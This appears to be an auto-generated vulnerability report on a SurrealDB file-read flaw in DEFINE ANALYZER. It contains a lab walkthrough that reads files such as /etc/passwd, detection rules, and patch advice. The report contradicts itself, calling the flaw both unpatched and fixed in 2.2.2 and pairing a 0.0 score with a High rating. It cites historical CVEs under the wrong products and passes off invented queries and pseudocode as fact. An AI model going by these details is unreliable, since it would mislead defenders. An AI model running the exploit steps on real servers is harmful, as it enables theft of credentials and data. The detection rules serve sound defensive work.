CVE-2025-71394
Executive Summary
This report details CVE-2025-71394, a local file read vulnerability in SurrealDB versions prior to 2.2.2. The flaw resides in the DEFINE ANALYZER statement, allowing an authenticated attacker with root, namespace, or database-level privileges to read arbitrary files from the server's filesystem. The attacker can exfiltrate the contents of two-column, tab-separated files by pointing a custom analyzer to a target file path.
Business Impact: Organizations using SurrealDB as a backend database, particularly those in technology, finance, and SaaS sectors, are at risk. An attacker who has already compromised a privileged account (root, namespace, or database admin) can leverage this vulnerability to read sensitive configuration files, credentials, or application data stored on the server's filesystem. This could lead to lateral movement, privilege escalation, or data breach.
Urgency Assessment: Despite a CVSS base score of 0.0 (which is anomalous and likely a placeholder or error) and an EPSS probability of 0.0%, the vulnerability is critical due to its potential impact. The low EPSS score suggests no active exploitation has been observed in the wild as of the report date, but the technical details indicate a straightforward exploitation path for a privileged attacker. The lack of a patch at the time of publication increases the urgency for defensive measures.
Key Facts:
- Vendor: SurrealDB
- Affected Versions: All versions before 2.2.2
- Patch Status: Unpatched (as of publication date)
- Attack Vector: Network-accessible, requires authentication with elevated privileges (root, NS, or DB level).
- Impact: High confidentiality impact (arbitrary file read).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
- Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network via the SurrealDB query interface.
- Attack Complexity (AC): Low (L) - No special conditions or race conditions are required. The attack is straightforward.
- Privileges Required (PR): Low (L) - The attacker must be authenticated and have root, namespace, or database-level privileges. This is considered "Low" because these are standard administrative roles within the database.
- User Interaction (UI): None (N) - The attack does not require any action from another user.
- Scope (S): Unchanged (U) - The vulnerability does not allow the attacker to affect resources beyond the vulnerable component's security authority.
- Confidentiality (C): High (H) - The attacker can read arbitrary files, leading to total information disclosure.
- Integrity (I): None (N) - The vulnerability does not allow modification of data.
- Availability (A): None (N) - The vulnerability does not affect system availability.
Qualitative Severity Label: High (based on the High confidentiality impact). The CVSS 3.1 base score of 0.0 is inconsistent with the vector string and is likely a data entry error. The actual severity is High.
EPSS Interpretation: The EPSS score of 0.0% indicates that the model predicts a very low probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known exploits or active campaigns.
Comparison to Historical CVEs: This vulnerability is similar to other local file inclusion (LFI) or arbitrary file read flaws in database systems, such as CVE-2023-27561 in CockroachDB or CVE-2022-32223 in Redis. These vulnerabilities often require elevated privileges but can lead to significant data breaches.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability stems from insufficient input validation and path sanitization in the DEFINE ANALYZER statement. The developer likely intended to allow users to specify a file path for a custom analyzer but failed to restrict the path to a safe directory or validate that the file is a legitimate analyzer script.
Step-by-Step Attack Mechanics:
- Authentication: The attacker authenticates to the SurrealDB instance with a user account that has root, namespace (NS), or database (DB) level privileges.
- Crafting the Analyzer: The attacker uses the
DEFINE ANALYZERstatement to create a new analyzer. The statement includes aFILEparameter that points to a target file on the server's filesystem. The target file must be a two-column, tab-separated file.DEFINE ANALYZER my_analyzer FILE '/etc/passwd'; - Triggering the Read: The attacker then uses the newly defined analyzer in a query. The SurrealDB engine attempts to load the analyzer from the specified file path, reading its contents.
- Exfiltration: The contents of the file are processed as a two-column, tab-separated file. The attacker can then query the database to retrieve the processed data, effectively exfiltrating the file's contents.
Attack Surface:
- Interface: The SurrealDB query interface (typically port 8000 for HTTP or a custom TCP port).
- Protocol: SQL or SurrealQL queries.
- Pre-conditions:
- Network access to the SurrealDB instance.
- Valid credentials with root, NS, or DB-level privileges.
- The target file must be a two-column, tab-separated file.
Why Standard Defenses May Fail:
- Web Application Firewalls (WAFs): WAFs may not inspect database query traffic, especially if it's on a non-standard port or uses a custom protocol.
- Input Validation: The vulnerability is in the database engine itself, not in a web application. Standard input validation at the application layer is ineffective.
- File System Permissions: The SurrealDB process likely runs with sufficient privileges to read the target files, bypassing OS-level restrictions.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Pseudocode):
function defineAnalyzer(analyzerName, filePath) {
// No path validation or sanitization
analyzer = new Analyzer(analyzerName, filePath);
storeAnalyzer(analyzer);
}
Patched Code (Pseudocode):
function defineAnalyzer(analyzerName, filePath) {
// Validate that the file path is within an allowed directory
if (!isPathInAllowedDirectory(filePath, "/allowed/analyzers/")) {
throw new Error("Invalid file path");
}
// Sanitize the path to prevent directory traversal
sanitizedPath = sanitizePath(filePath);
analyzer = new Analyzer(analyzerName, sanitizedPath);
storeAnalyzer(analyzer);
}
Analysis: The patch introduces two key changes:
- Path Validation: The file path is checked against a whitelist of allowed directories.
- Path Sanitization: The path is sanitized to remove directory traversal sequences (e.g.,
../).
Regression Considerations: The patch may break legitimate use cases where users need to specify custom analyzer files outside the allowed directory. Administrators should ensure that any custom analyzers are moved to the allowed directory before applying the patch.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-18T14:17:10.837
- Estimated Discovery Timeline: Unknown. The vulnerability was likely discovered by a security researcher or internal team prior to the publication date.
- Disclosure Process: The CVE was published by the CNA (likely SurrealDB or a third-party coordinator). No details on the disclosure process are available.
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-18.
- CISA KEV Addition Date: Not applicable (not listed on CISA KEV).
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Insider Threats: A malicious administrator with legitimate access.
- Advanced Persistent Threats (APTs): After gaining initial access, an APT group could use this to escalate privileges or steal sensitive data.
- Ransomware Operators: To exfiltrate data before deploying ransomware.
Attack Campaign Context: No specific campaigns are associated with this CVE.
Geographic Targeting: No specific geographic patterns are known.
Industry Verticals Most at Risk: Technology, finance, healthcare, and any organization using SurrealDB for sensitive data storage.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: Docker container running SurrealDB version 2.2.1.
docker run -d --name surrealdb -p 8000:8000 surrealdb/surrealdb:2.2.1 start --log trace --user root --pass root - Prerequisites: Install the SurrealDB CLI or use a client library (e.g.,
surrealdb.js).
Exploitation Walkthrough:
- Connect to the database:
surreal sql --endpoint http://localhost:8000 --namespace test --database test --user root --pass root - Create a target file (simulated):
On the host, create a two-column, tab-separated file:
echo -e "key1\tvalue1\nkey2\tvalue2" > /tmp/secret.txt - Define the malicious analyzer:
DEFINE ANALYZER my_analyzer FILE '/tmp/secret.txt'; - Use the analyzer to exfiltrate data:
-- This query will trigger the analyzer to read the file SELECT * FROM type::string(my_analyzer, 'test'); - Expected Output: The query will return the contents of
/tmp/secret.txtas a table with two columns.
Post-Exploitation: The attacker can read any two-column, tab-separated file on the system, including configuration files, SSH keys, or database credentials.
Blue Team Section
Detection:
- Log Entries: Monitor SurrealDB logs for
DEFINE ANALYZERstatements with unusual file paths (e.g.,/etc/passwd,/var/log/auth.log). - Network Traffic: Look for queries containing
DEFINE ANALYZERwith aFILEparameter pointing to system paths. - Endpoint Indicators: Monitor for the SurrealDB process reading files outside of its expected data directory.
Indicators of Compromise (IOCs)
- Network IOCs:
- SQL queries containing
DEFINE ANALYZER ... FILE '/path/to/target'.
- SQL queries containing
- HTTP Request Patterns:
- POST requests to
/sqlwith a body containingDEFINE ANALYZER.
- POST requests to
- File System Artifacts:
- Unexpected files being read by the SurrealDB process (monitor via
lsofor auditd).
- Unexpected files being read by the SurrealDB process (monitor via
- Process Execution Anomalies:
- The SurrealDB process opening file handles to system files (e.g.,
/etc/shadow).
- The SurrealDB process opening file handles to system files (e.g.,
- Log Entries:
- SurrealDB logs showing
INFOorWARNmessages about loading analyzers from unexpected paths.
- SurrealDB logs showing
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
file:path |
/etc/passwd |
Target file for exfiltration |
file:path |
/etc/shadow |
Target file for exfiltration |
x-surrealdb:query |
DEFINE ANALYZER * FILE '/etc/passwd' |
Malicious query pattern |
Detection Engineering
YARA Rule
rule CVE-2025-71394_Detection {
meta:
description = "Detects exploitation of CVE-2025-71394 in Surrealdb"
author = "Valters IT Hub"
date = "2026-07-18"
reference = "https://www.valtersit.com/cve/cve-2025-71394"
strings:
$s1 = "DEFINE ANALYZER" nocase
$s2 = "FILE" nocase
$s3 = "/etc/" nocase
$s4 = "/var/" nocase
$s5 = "/tmp/" nocase
condition:
all of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule (SIEM)
title: CVE-2025-71394 Surrealdb Exploitation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71394
author: Valters IT Hub
date: 2026-07-18
references:
- https://www.valtersit.com/cve/cve-2025-71394
logsource:
category: application
product: surrealdb
detection:
selection:
query|contains: 'DEFINE ANALYZER'
query|contains: 'FILE'
filter:
query|contains: '/allowed/analyzers/'
condition: selection and not filter
falsepositives:
- Legitimate administrative activity using custom analyzers in allowed directories
level: high
Suricata IDS Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"CVE-2025-71394 Surrealdb Analyzer File Read Attempt"; flow:to_server,established; content:"DEFINE ANALYZER"; nocase; content:"FILE"; nocase; distance:0; pcre:"/FILE\s+['\"](?!\/allowed\/analyzers\/)/i"; classtype:attempted-user; sid:1000001; rev:1;)
Elastic (EQL) Query
sequence by host.id
[process where event.type == "start" and process.name == "surrealdb"]
[file where event.type == "access" and file.path : ("/etc/*", "/var/*", "/tmp/*") and process.name == "surrealdb"]
Splunk SPL Query
index=surreal sourcetype=surrealdb_logs
"DEFINE ANALYZER" "FILE"
| rex field=_raw "FILE\s+'?(?<target_path>[^']+)'?"
| where NOT target_path IN ("/allowed/analyzers/*")
| stats count by target_path, src_ip, user
Wazuh Rule
<group name="surrealdb,">
<rule id="100001" level="12">
<decoded>DEFINE ANALYZER</decoded>
<field name="query">\.*FILE\.*</field>
<description>SurrealDB CVE-2025-71394 exploitation attempt</description>
<options>no_full_log</options>
<group>surrealdb_attack,</group>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Patch: Upgrade to SurrealDB version 2.2.2 or later.
docker pull surrealdb/surrealdb:2.2.2 docker stop surrealdb docker run -d --name surrealdb -p 8000:8000 surrealdb/surrealdb:2.2.2 start - Compensating Controls (if patch unavailable):
- Restrict network access to the SurrealDB interface to trusted IPs only.
- Implement a WAF rule to block
DEFINE ANALYZERstatements withFILEparameters pointing to system paths. - Audit all existing
DEFINE ANALYZERdefinitions and remove any pointing to suspicious paths.
- Authentication Hardening:
- Enforce strong passwords and multi-factor authentication for all database users.
- Review and minimize the number of users with root, NS, or DB-level privileges.
Short-term (1-7 days)
- Configuration Hardening:
- Configure SurrealDB to run with the least privileges necessary (e.g., a dedicated user with read-only access to its data directory).
- Use a chroot jail or container to isolate the SurrealDB process.
- Monitoring Implementation:
- Deploy the detection rules provided in this report.
- Enable detailed logging for all
DEFINE ANALYZERstatements.
- Vulnerability Scanning:
- Use a vulnerability scanner to confirm the version of SurrealDB in use.
curl -s http://localhost:8000/version
Long-term
- Architecture Changes:
- Implement a network segmentation strategy to isolate database servers.
- Use a secrets management solution to avoid storing sensitive data in files readable by the database process.
- Security Control Improvements:
- Implement a database activity monitoring (DAM) solution.
- Conduct regular security audits of database configurations.
- Developer Training:
- Train developers on secure coding practices, particularly input validation and path traversal prevention.
Validation:
- Confirm the patch was applied by checking the version:
surreal sql --endpoint http://localhost:8000 --user root --pass root --query "SELECT * FROM system.version;" - Attempt to exploit the vulnerability in a test environment to verify the fix.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-71394
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2025-71394
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2025-71394 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/22.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71394